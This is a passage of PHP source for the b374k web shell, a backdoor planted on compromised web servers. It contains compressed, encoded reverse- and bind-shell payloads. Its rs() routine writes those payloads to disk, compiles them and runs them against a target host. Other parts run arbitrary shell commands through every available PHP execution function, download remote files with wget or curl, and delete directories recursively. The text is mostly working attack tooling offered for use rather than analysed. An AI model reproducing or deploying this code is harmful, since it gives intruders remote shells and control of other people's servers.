O/OGY5iLFqIssHNj4wDfMsCX5DjtN1Y3ElS9BFUSxyKrlOOBE4gzzjqHYfvwmWyNQgam02DhHyav5jDgDh0sbA0aROgJyEGJnMhwlh6xyb8Cq7ALogD6a3mV1ybxSD44/kMq1BWp/WluaRQhgQKFC8RE8K6cc8+C9lSHifYhme9NkmcgfuYuoEYCTG+EYUI4oV8Ie0hGJmSyw/g2rDKKs7WcMUp8ZHSCI4AMv78rNlqrWDrBnbJDyKIKxRcrpp9/QKvxYJM2uyF26Z7QAJ5bUimtRGLMN+HYSfPRfvzhBIO9nO8//GLhuTqcNGuMGxlZqS/LbEUDGizpBnqnCxI94fEvGDxDyabZkvuD2ROjPkamECpqCXvJaKN5eHXfHy/L2uNjU2BXiYtIvO4jgkSAxGy8Vb5M7lHl4AQzxfsFLq85thLYhkiQyhFRNz1Ps/maRx2y/P7eZtEGAemjpdB/YepAWcfBlNox4AwQq4mbxFOL37OwUMsbN2igJNZvF8wHD5LlHI/vnOLhJtwgHeulhyx3ih+32AkLRLc7oDr+faFNxTGKl7NlDS+Zz5kSezwuYJCszMVzm+2mkDMlCaD7oEy2VYBT/cXHvMia3BYI9kqhdjCJD1tj/0Udt2ZEorQ0TbZc79219sFYR+0HTYZRGJIhiSbM6Jr51ypOJNrTRY7It9QRHhR3bUOhwVWVBKG5L7TxppACtbN7yh5s9C5GMJgZ6nPuGxaTL6dR49z7pjY5ZM+jn5iavfjqdoYqmmDs9i+AUFK+Hgg325OHNWZWXXycgwYrqbLHML7X2EPcc3jzidZkOXoRW4PpltVQ0ANAPDvPWpcnbGMCqjqNPtheL0Gp87VXbEHE4TolGKUVvKhT4ad4sHK6Xb9D4hhA6JTMizVm1ElvW5t8j6UmHCrB6uNlo/AEKT48Y/+bX9SpCDtL8Y/JZPfQmZ9Bj7AsPwRQkV2kX/+lEjMRS7XFhUinehnwTCsViLljWgFRt6Clvejk35BPOwP1cJbFBNVcm03Xto3WiI1kfkhpBNKTPytPuytBtKu2w6TiJGLmp9VdUAcACgxeg0QRRmLVmW7Tm8H4gNd3oKFj7K130dyMUHYBqhL8ev64NGStfDRrVpQ645RoORNaM0b+GiyFlCW8LRSm20Ehmum/wHQo7ahI9fDT1W7T2u3SwZmyuLsM6PpUfRpMJqhCrCVbQN8bks/ygdk/ZgsGAb+n/6v0/FCAGAX/hn7XqvL/oKVafU9f8Fqtbq68L/O26rFn2n5vZbHtYwuAoBZRV9t4MzoPDN6zoyrAiNWB4Z6uDsHhIYCtIB1NHrIjMKXJLLEkPP082J9pHvsDAoAoUIGO5TLFDPEKTQA0N4/2quJpb2sxByJBABmnhJaDOKwoN91Gk/70vhdWyHmcLSZpm+y6eDfAoFwEUcw8/TR5o3lCpkAwOQK2P87zvzf"; +$s_rs_php = "7VRNj9s2ED3bv0JRCayEai3LDhBgXW4u7bFA0BboIbsRZIqyCEsiy6FqB9397x2Skj82zm6QBr20MGxTM5w3X0/vh7eqVtPvgtoYBTdpymTJZxspNw2fMdmmKl0v37zeXkPNmyadcq2lzjVXUhvRbaJ5vJoCN7kRLc8b0QrjTHKdi1Y1ggmTV00PdYTGKTGF3nBDiQZ/Wo0moHyvGkwdhUGYDEYMIQxotly+wdOuoF3fNHjihxPUNMRArCX47adffqZ7w3W7evdrRq/uyLvff7y9Wg1utK3StehSqINrEWJsS0PXWeA6C24CJruOM8PLuw79U1FFTPadicYSY0qz+K/phChKxvInBCsI7b9BONGVeH6c8gb4pfDFeTi8n997iIMhux+xCrZ1WLaOqu+YEbLL+V6AgehKsc40eSX19ir2mKKkR6Md9gTjnJleZzHGmSg7sXrLfLAoCWKf4xpBlFF8HuErwJKG/lw6oGA0L9ocJNvi9oHrP7mOQsMUUmg+c5+bcEZUQpAxnXR/GGMTjqEDa2SPM4Jk6Yoh7AlywRhX9sJQKnqNbOQOs0G/xqcI6Zv3XdHyKE7myTLG+sOd6Fyhk2qnheERYQlpZzhhtsMGZ+FtaOEmu1o06FSvKK0K3JkLsQuq7DIwyt1yE9J8k7eFYXUUpqy8C6L3H+7g/vs4FUhX7FLr2EdPSFkiwbVfpY8WkJdCR+iJY1aPR+8mkp7W5YyP9mcgkdGiPe2aKNeh3U8YPDwEn/H/0aM/DtY4y+1qhAswGd/bjjEXsnz2SeaTeUlXoC2lYo0EPo5jfHIbQbcFfjpqd5GUQAuti4/RnN76Q6iE4mES6jBOsqfGHRoXF4weTGmqtGS5VLzD5HWC8Dh5oZwbB/UKp6w5yF4z2yHu48j6U86tG2SWlS4bjG9gMn/+RvbijcWzN9jg9GQzuh9oZt9rLis71ocHf/Lp4vi4NaKLYYZ2rkM5Q1JPoEPOBrUrwvsJKiW+bkViNfJAYNHlRxxdHMgqaIXxpTMzGDg5rnIYEBHxkZZnWGNBlwBH3yeo7AXAxTOAi5cBH885ekLe8ejbOn/OnjwP43WUG83aM/6g714UrVAPolhZ0fIErZ0q8A6/o7Z9vXrBV6kX/GfVCy6p1+f0Cv7Xq7Mb8JJewZfpFXwjvYLLagD/ml7Bt9Yr+BK9+sci9fZ2+jc="; +$s_favicon = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKYSURBVDjLnZPJT1NRFMb5G1wDHV5boNiqdHrvFYolCAtsGSSWKpMFKhYqlDI6oAEKaVJwCIgSphaKtLYWCgSNBgRjMNHoxsSFS3cmJmA0NMTw+R6JKKZl4eJL7sm953fOd3JPHIC4WMpcppG5SGnZc8ZjVVF6QLn975sDgfaZmvg71oRJZIRUYcuAnq/2KWroGfm3QwEn2YpLVPPvOD2oiqj9yq/mGznegl56mx6T7ZbY1M6YAM0CuZkxT0b2Wg6QW/SsApRXDsotR+d6E9Y/h9DuqoCuJq0lKoDxqU1/pITGR27mBU4h+GEcTz5OY+ClA5JbyahYzof/9TBO9B/FcWcqpA4xU3We3GJ87ntnfO5meinMvruNnqcmXA2XoDVcCc0wCYkzBaZpA7ILRJ/2O2B87jA+QT9UeDRe8svZYAG8b/txc6kc9mA+yqayYPQXwvdmBEOrA5B2p0BtFIYOWKCm5RukWwZyXIbA+0F0LpaiKaBHmVsLw4we99ccsM8a8GClF5JOMcQdou8prULrgRmQo7KI0VcE13MrGv06lE5kodhzGvdWu2GdKkTVWC4DcELcJkKyXbCb1EhAVM//M0DVUNqP2qAJd1baUDaZjTMTeXAttsPi0cM0mgvHvA0NkxYk2QRIrieOsDmEmXttH0DfVfSluSToWmpD8bgOroUOWNw6VI7koGfOBuq6EqLLTNU6ojrmP5D1HVsjmrkYezGIrlA9LjKgnrlGXJlpgbCOD0EtD0QNN8I3cZqjAlhJr4rXpB1iNLhrYffUQWoT7yUKzbxqJlHLq0jc5JYmgHMunogKYJVqF7mTrPyfgktMRTMX/CrOq1gLF3fYNrLiX+Bs8MoTwT2fQPwXgBXHGL+TaIjfinb3C7cscRMIcYL6AAAAAElFTkSuQmCC"; +$s_checkbox_img = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAASdJREFUeNrsk0GKwjAYhZNJqYviQpDKLOcY3sOFIF5DFF0KgjeYAwizmDuNOxHcFrGlje9pA1KbNOqshvnh2YD58v6m75dxHIdCiAk0gt5Fc+2gDbQO8DNTSk1D1BtKSikoWxVF0U7TdJ5lmSI8BtfCARKsoFyw1poeLcBjwl0aEgqCwAma4n5yhC+AceSzqdD69RAD+zjedSBeqH/4CfiA74bgaG+o3HxQURR1sOgjnqpMDv+0ikZJkpzyPP9kwlbIaQgNsO55GO+hb2hp3vnI1Hl2XZT7xe+PJNbWYWgcyao7L+p22h4ayephdyPJVl3v+jFcuhNmg+tAazxvN9tA86m83H6+Fm5n3mpd49sSlDaYN3jJb8WFazMy2rftujb/yEieBRgAZHG/OeGef6MAAAAASUVORK5CYII="; +$s_style = "rVbLjpswFP0VqqhSH4AgSTMzoH5Cl11VXRgwwRqwkTGdZBD/Xj/BgJNppbE3Drm+z3PP9ZehJJgFJWhQfU1+Zj1mvfeDYOJ3kKIyHTNSXIcM5M9nSnpcJLtIrlRe69ArTOJ9e0lzUhOa7Eq51J8vEJ0rlhy58FjRISO0gDSJ24vXkRoV3m4vVzqCwdw+y0PK4IUFBcwJBQwRnGCCIRdLKvIH0mFpamwpHFpQFAifk8h75L6MJaHNUKCurcE1QbhG4joDWQ09VvntkPe04yoKWIK+Zum4awDCiyBjudKgIa+BcjygoEB9l8QRt+D49IIKVvFj9DE13vC8KH92FQRcfpBxgRqdcVLDkqUNoGeEk2i6EU2yHiuGe39X8TBXYC8c4PnOnhELGAW4ExlIKGGAwU9BfAgPDwU8f1bx3BO4b9IDfggvLU8/rFHHVD08sK7IroG4d6XTaPdEZo4yMxR2vATDfyR6iyMDG1HnoFKoi09CdOuCdhXINTukgGOCPprChSJ0hEui0RuIsrlMa0UnS4mIUSiWnihNLKs7j9FB+7gXKeAZZCgHtcZFg4qi5mgNz+DKs23jXZuye+tB9JYUepfq15AxHmTXglxHwLWLYjZoUc79k9jpv3StQ+WKOd7Fcwd+jhv4iC8bgM+1VoFqkrHDPZzEvu3oW37O/48hwm3PXv2wpaRpmR+yCwMUAle3aKBHJoqMMEYaG32HJ7HvU7EFR25emR22GDJ+WDSmUXp4iORV5XnWs2Flb+H6k9hrZNyk/qn/JBkYbhkcXCrKFM0inHTcQ2IS4Px5M2/aus0Xrl5kpE1Xk2VWX22SuOgQZcHcPk0gm+5TB9DiR7E/oKYllAHMJ1PYwYbP5CuaxpkM00XToeApT045O4HLFjjdJVCtVuXaqH7U1RfKK5/HvfXYwUlK/u0aaMlqbw/HHGJOGjauv61xlou9ZpfTpuWtL1sXXGEv5kAczbFPUy6XS9Augi8lcmb7ZrjWwFGQN0r+JVeOxNvotQfPUnnOE8lTOj2T4ngmvWtGLu8zfm+n8bg0J6p9M9ajXGsG2QLeMx2JCUPlApTmktahH6xbYKxRq40cFvDXvnv72diMBa16DEtC2PKBR4VaG8IieY5pqDWtCGP9bPBV5vjJRtsoOfkXu7bwe17B/JmL/A7zrgvML++rV4MM1vKjPBkQqKeMfDmaJ5NosuWrOchqkj8vH1bLVgwobCFgnJb0yf6vJR2S3MyrdeOho5/iLUGy5d+OKJEHWDgic1sOpMeqi33NNrE5UP9Ng0vmHf8C"; +$s_mime_types = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw=="; +// http://www.kryogenix.org/code/browser/sorttable/ - this makes the tables +$s_sortable_js = "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"; + +// make link for folder $s_cwd and all of its parent folder +function swd($s_p){ + global $s_self; + $s_ps = explode(DIRECTORY_SEPARATOR,$s_p); + $s_pu = ""; + for($s_i = 0 ; $s_i < sizeof($s_ps)-1 ; $s_i++){ + $s_pz = ""; + for($s_j = 0 ; $s_j <= $s_i ; $s_j++) $s_pz .= $s_ps[$s_j].DIRECTORY_SEPARATOR; + $s_pu .= "".$s_ps[$s_i]." ".DIRECTORY_SEPARATOR." "; + } + return trim($s_pu); +} +// htmlspecialchars, < > " +function hss($s_t){ + $s_n = array(">","<","\""); + $s_y = array(">", "<", """); + return str_replace($s_n,$s_y,$s_t); +} +// remove
tags +function rp($s_t){ + return trim(str_replace("
","",$s_t)); +} +// replace spaces with underscore ( _ ) +function cs($s_t){ + return str_replace(" ","_",$s_t); +} +// strip slashes,trim and urldecode +function ss($s_t){ + return (!get_magic_quotes_gpc())? trim(urldecode($s_t)) : trim(urldecode(stripslashes($s_t))); +} +// only strip slashes +function ssc($s_t){ + return (!get_magic_quotes_gpc())? trim($s_t) : trim(stripslashes($s_t)); +} +// bind and reverse shell +function rs($s_rstype,$s_rstarget,$s_rscode){ + //bind_pl bind_py bind_rb bind_c bind_win bind_php back_pl back_py back_rb back_c back_win back_php + //resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_c $s_rs_win $s_rs_php + $s_result = ""; + $s_fpath = ""; + $s_fc = gzinflate(base64_decode($s_rscode)); + + $s_errperm = "Directory ".getcwd().DIRECTORY_SEPARATOR." is not writable, please change to a writable one"; + $s_errgcc = "Unable to compile using gcc"; + + $s_split = explode("_",$s_rstype); + $s_method = $s_split[0]; + $s_lang = $s_split[1]; + if($s_lang=="py" || $s_lang=="pl" || $s_lang=="rb"){ + if($s_lang=="py") $s_runlang = "python"; + elseif($s_lang=="pl") $s_runlang = "perl"; + elseif($s_lang=="rb") $s_runlang = "ruby"; + $s_fpath = "b374k_rs.".$s_lang; + if(is_file($s_fpath)) unlink($s_fpath); + if($s_file=fopen($s_fpath,"w")){ + fwrite($s_file,$s_fc); + fclose($s_file); + if(is_file($s_fpath)){ + $s_result = exe("chmod +x ".$s_fpath); + $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget); + } + else $s_result = $s_errperm; + } + else $s_result = $s_errperm; + } + elseif($s_lang=="c"){ + $s_fpath = "b374k_rs"; + if(is_file($s_fpath)) unlink($s_fpath); + if(is_file($s_fpath.".c")) unlink($s_fpath.".c"); + if($s_file=fopen($s_fpath.".c","w")){ + fwrite($s_file,$s_fc); + fclose($s_file); + if(is_file($s_fpath.".c")){ + $s_result = exe("gcc ".$s_fpath.".c -o ".$s_fpath); + if(is_file($s_fpath)){ + $s_result = exe("chmod +x ".$s_fpath); + $s_result = exe("./".$s_fpath." ".$s_rstarget); + } + else $s_result = $s_errgcc; + } + else $s_result = $s_errperm; + } + else $s_result = $s_errperm; + } + elseif($s_lang=="win"){ + $s_fpath = "b374k_rs.exe"; + if(is_file($s_fpath)) unlink($s_fpath); + if($s_file=fopen($s_fpath,"w")){ + fwrite($s_file,$s_fc); + fclose($s_file); + if(is_file($s_fpath)){ + $s_result = exe($s_fpath." ".$s_rstarget); + } + else $s_result = $s_errperm; + } + else $s_result = $s_errperm; + } + elseif($s_lang=="php"){ + $s_result = eval("?>".$s_fc); + } + if(is_file($s_fpath)) unlink($s_fpath); + if(is_file($s_fpath.".c")) unlink($s_fpath.".c"); + return $s_result; +} +// format bit +function ts($s_s){ + if($s_s<=0) return 0; + $s_w = array('B','KB','MB','GB','TB','PB','EB','ZB','YB'); + $s_e = floor(log($s_s)/log(1024)); + return sprintf('%.2f '.$s_w[$s_e], ($s_s/pow(1024, floor($s_e)))); +} +// get file size +function gs($s_f){ + $s_s = @filesize($s_f); + if($s_s !== false){ + if($s_s<=0) return 0; + return ts($s_s); + } + else return "???"; +} +// get file permissions +function gp($s_f){ + if($s_m=@fileperms($s_f)){ + $s_p = 'u'; + if(($s_m & 0xC000) == 0xC000)$s_p = 's'; + elseif(($s_m & 0xA000) == 0xA000)$s_p = 'l'; + elseif(($s_m & 0x8000) == 0x8000)$s_p = '-'; + elseif(($s_m & 0x6000) == 0x6000)$s_p = 'b'; + elseif(($s_m & 0x4000) == 0x4000)$s_p = 'd'; + elseif(($s_m & 0x2000) == 0x2000)$s_p = 'c'; + elseif(($s_m & 0x1000) == 0x1000)$s_p = 'p'; + $s_p .= ($s_m & 00400) ? 'r' : '-'; + $s_p .= ($s_m & 00200) ? 'w' : '-'; + $s_p .= ($s_m & 00100) ? 'x' : '-'; + $s_p .= ($s_m & 00040) ? 'r' : '-'; + $s_p .= ($s_m & 00020) ? 'w' : '-'; + $s_p .= ($s_m & 00010) ? 'x' : '-'; + $s_p .= ($s_m & 00004) ? 'r' : '-'; + $s_p .= ($s_m & 00002) ? 'w' : '-'; + $s_p .= ($s_m & 00001) ? 'x' : '-'; + return $s_p; + } + else return "???????????"; +} +// shell command +function exe($s_c){ + $s_out = ""; + $s_c = $s_c." 2>&1"; + + if(is_callable('system')) { + ob_start(); + @system($s_c); + $s_out = ob_get_contents(); + ob_end_clean(); + if(!empty($s_out)) return $s_out; + } + if(is_callable('shell_exec')){ + $s_out = @shell_exec($s_c); + if(!empty($s_out)) return $s_out; + } + if(is_callable('exec')) { + @exec($s_c,$s_r); + if(!empty($s_r)) foreach($s_r as $s_s) $s_out .= $s_s; + if(!empty($s_out)) return $s_out; + } + if(is_callable('passthru')) { + ob_start(); + @passthru($s_c); + $s_out = ob_get_contents(); + ob_end_clean(); + if(!empty($s_out)) return $s_out; + } + if(is_callable('proc_open')) { + $s_descriptorspec = array( + 0 => array("pipe", "r"), + 1 => array("pipe", "w"), + 2 => array("pipe", "w") + ); + $s_proc = @proc_open($s_c, $s_descriptorspec, $s_pipes, getcwd(), array()); + if (is_resource($s_proc)) { + while ($s_si = fgets($s_pipes[1])) { + if(!empty($s_si)) $s_out .= $s_si; + } + while ($s_se = fgets($s_pipes[2])) { + if(!empty($s_se)) $s_out .= $s_se; + } + } + @proc_close($s_proc); + if(!empty($s_out)) return $s_out; + } + if(is_callable('popen')){ + $s_f = @popen($s_c, 'r'); + if($s_f){ + while(!feof($s_f)){ + $s_out .= fread($s_f, 2096); + } + pclose($s_f); + } + if(!empty($s_out)) return $s_out; + } + return ""; +} +// add slash to the end of given path +function cp($s_p){ + if(is_dir($s_p)){ + $s_x = DIRECTORY_SEPARATOR; + while(substr($s_p,-1) == $s_x) $s_p = rtrim($s_p,$s_x); + return $s_p.$s_x; + } + return $s_p; +} +// delete dir and all of its content (no warning !) xp +function rmdirs($s_d){ + $s_f = glob($s_d . '*', GLOB_MARK); + foreach($s_f as $s_z){ + if(is_dir($s_z)) rmdirs($s_z); + else unlink($s_z); + } + if(is_dir($s_d)) rmdir($s_d); +} +// get array of all files from given directory +function getallfiles($s_dir){ + $s_f = glob($s_dir . '*'); + for($s_i = 0; $s_i < count($s_f); $s_i++){ + if(is_dir($s_f[$s_i])) { + $s_a = glob($s_f[$s_i].DIRECTORY_SEPARATOR.'*'); + $s_f = array_merge($s_f, $s_a); + } + } + return $s_f; +} +// which command +function xwhich($s_pr){ + $s_p = exe("which $s_pr"); + if(trim($s_p)!="") { return trim($s_p); } else { return trim($s_pr); } +} +// download file from internet +function dlfile($s_u,$s_p){ + $s_n = basename($s_u); + + // try using php functions + if($s_t = @file_get_contents($s_u)){ + if(is_file($s_p)) unlink($s_p);; + if($s_f=fopen($s_p,"w")){ + fwrite($s_f,$s_t); + fclose($s_f); + if(is_file($s_p)) return true; + } + } + // using wget + exe(xwhich('wget')." ".$s_u." -O ".$s_p); + if(is_file($s_p)) return true; + + // try using lwp-download + exe(xwhich('lwp-download')." ".$s_u." ".$s_p); + if(is_file($s_p)) return true; + + // try using lynx + exe(xwhich('lynx')." -source ".$s_u." > ".$s_p); + if(is_file($s_p)) return true; + + // try using curl + exe(xwhich('curl')." ".$s_u." -o ".$s_p); + if(is_file($s_p)) return true; + + return false; +} +// find writable dir +function get_writabledir(){ + if(is_writable(".")) $s_d = ".".DIRECTORY_SEPARATOR; + else{ + if(!$s_d = getenv("TMP")) if(!$s_d = getenv("TEMP")) if(!$s_d = getenv("TMPDIR")){ + if(is_writable("/tmp")) $s_d = "/tmp/"; + else $s_d = getcwd().DIRECTORY_SEPARATOR; + } + } + return $s_d; +} +// zip function +function zip($s_src, $s_dest){ + if(!extension_loaded('zip') || !file_exists($s_src)) return false; + + if(class_exists("ZipArchive")){ + $s_zip = new ZipArchive(); + if(!$s_zip->open($s_dest, 1)) return false; + + $s_src = str_replace('\\', '/', $s_src); + if(is_dir($s_src)){ + $s_files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($s_src), 1); + foreach($s_files as $s_file){ + $s_file = str_replace('\\', '/', $s_file); + if(in_array(substr($s_file, strrpos($s_file, '/')+1), array('.', '..'))) continue; + if (is_dir($s_file) === true) $s_zip->addEmptyDir(str_replace($s_src . '/', '', $s_file . '/')); + else if (is_file($s_file) === true) $s_zip->addFromString(str_replace($s_src . '/', '', $s_file), @file_get_contents($s_file)); + } + } + elseif(is_file($s_src) === true) $s_zip->addFromString(basename($s_src), @file_get_contents($s_src)); + $s_zip->close(); + return true; + } +} +// check shell permission to access program +function check_access($s_lang){ + $s_s = 0; + switch($s_lang){ + case "python": + $s_cek = strtolower(exe("python -h")); + if(strpos($s_cek,"usage")!==false) $s_s = 1; + break; + case "perl": + $s_cek = strtolower(exe("perl -h")); + if(strpos($s_cek,"usage")!==false) $s_s = 1; + break; + case "ruby": + $s_cek = strtolower(exe("ruby -h")); + if(strpos($s_cek,"usage")!==false) $s_s = 1; + break; + case "gcc": + $s_cek = strtolower(exe("gcc --help")); + if(strpos($s_cek,"usage")!==false) $s_s = 1; + break; + case "tar": + $s_cek = strtolower(exe("tar --help")); + if(strpos($s_cek,"usage")!==false) $s_s = 1; + break; + case "java": + $s_cek = strtolower(exe("javac --help")); + if(strpos($s_cek,"usage")!==false){ + $s_cek = strtolower(exe("java -h")); + if(strpos($s_cek,"usage")!==false) $s_s = 1; + } + break; + } + return $s_s; +} +// find available archiver +function get_archiver_available(){ + global $s_self, $s_tar; + $s_dlfile = ""; + $s_avail_arc = array("raw" => "raw"); + + if(class_exists("ZipArchive")){ + $s_avail_arc["ziparchive"] = "zip"; + } + if($s_tar){ + $s_avail_arc["tar"] = "tar"; + $s_avail_arc["targz"] = "tar.gz"; + } + + $s_option_arc = ""; + foreach($s_avail_arc as $s_t => $s_u){ + $s_option_arc .= ""; + } + + $s_dlfile .= "
+ + +
+ "; + return $s_dlfile; +} +// explorer, return a table of given dir +function showdir($s_cwd){ + global $s_self; + + $s_posix = (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))? true : false; + $s_win = (strtolower(substr(php_uname(),0,3)) == "win")? true : false; + + $s_fname = array(); + $s_dname = array(); + + if(function_exists("scandir") && $s_dh = @scandir($s_cwd)){ + foreach($s_dh as $s_file){ + if(is_dir($s_file)) $s_dname[] = $s_file; + elseif(is_file($s_file)) $s_fname[] = $s_file; + } + } + else{ + if($s_dh = @opendir($s_cwd)){ + while($s_file = readdir($s_dh)){ + if(is_dir($s_file)) $s_dname[] = $s_file; + elseif(is_file($s_file))$s_fname[] = $s_file; + } + closedir($s_dh); + } + } + + sort($s_fname); + sort($s_dname); + $s_list = array_merge($s_dname,$s_fname); + + if($s_win){ + //check if this root directory + chdir(".."); + if(cp(getcwd())==cp($s_cwd)){ + array_unshift($s_list, "."); + } + chdir($s_cwd); + } + + $s_path = explode(DIRECTORY_SEPARATOR,$s_cwd); + $s_tree = sizeof($s_path); + + $s_parent = ""; + if($s_tree > 2) for($s_i=0;$s_i<$s_tree-2;$s_i++) $s_parent .= $s_path[$s_i].DIRECTORY_SEPARATOR; + else $s_parent = $s_cwd; + + $s_owner_html = (!$s_win && $s_posix) ? "owner:group" : ""; + $s_colspan = (!$s_win && $s_posix) ? "6" : "5"; + $s_buff = " + + ".$s_owner_html." + "; + + $s_arc = get_archiver_available(); + foreach($s_list as $s_l){ + if(!$s_win && $s_posix){ + $s_name = posix_getpwuid(fileowner($s_l)); + $s_group = posix_getgrgid(filegroup($s_l)); + $s_owner = $s_name['name'].":".$s_group['name']; + $s_owner_html = ""; + } + + $s_lhref = ""; + $s_lname = ""; + 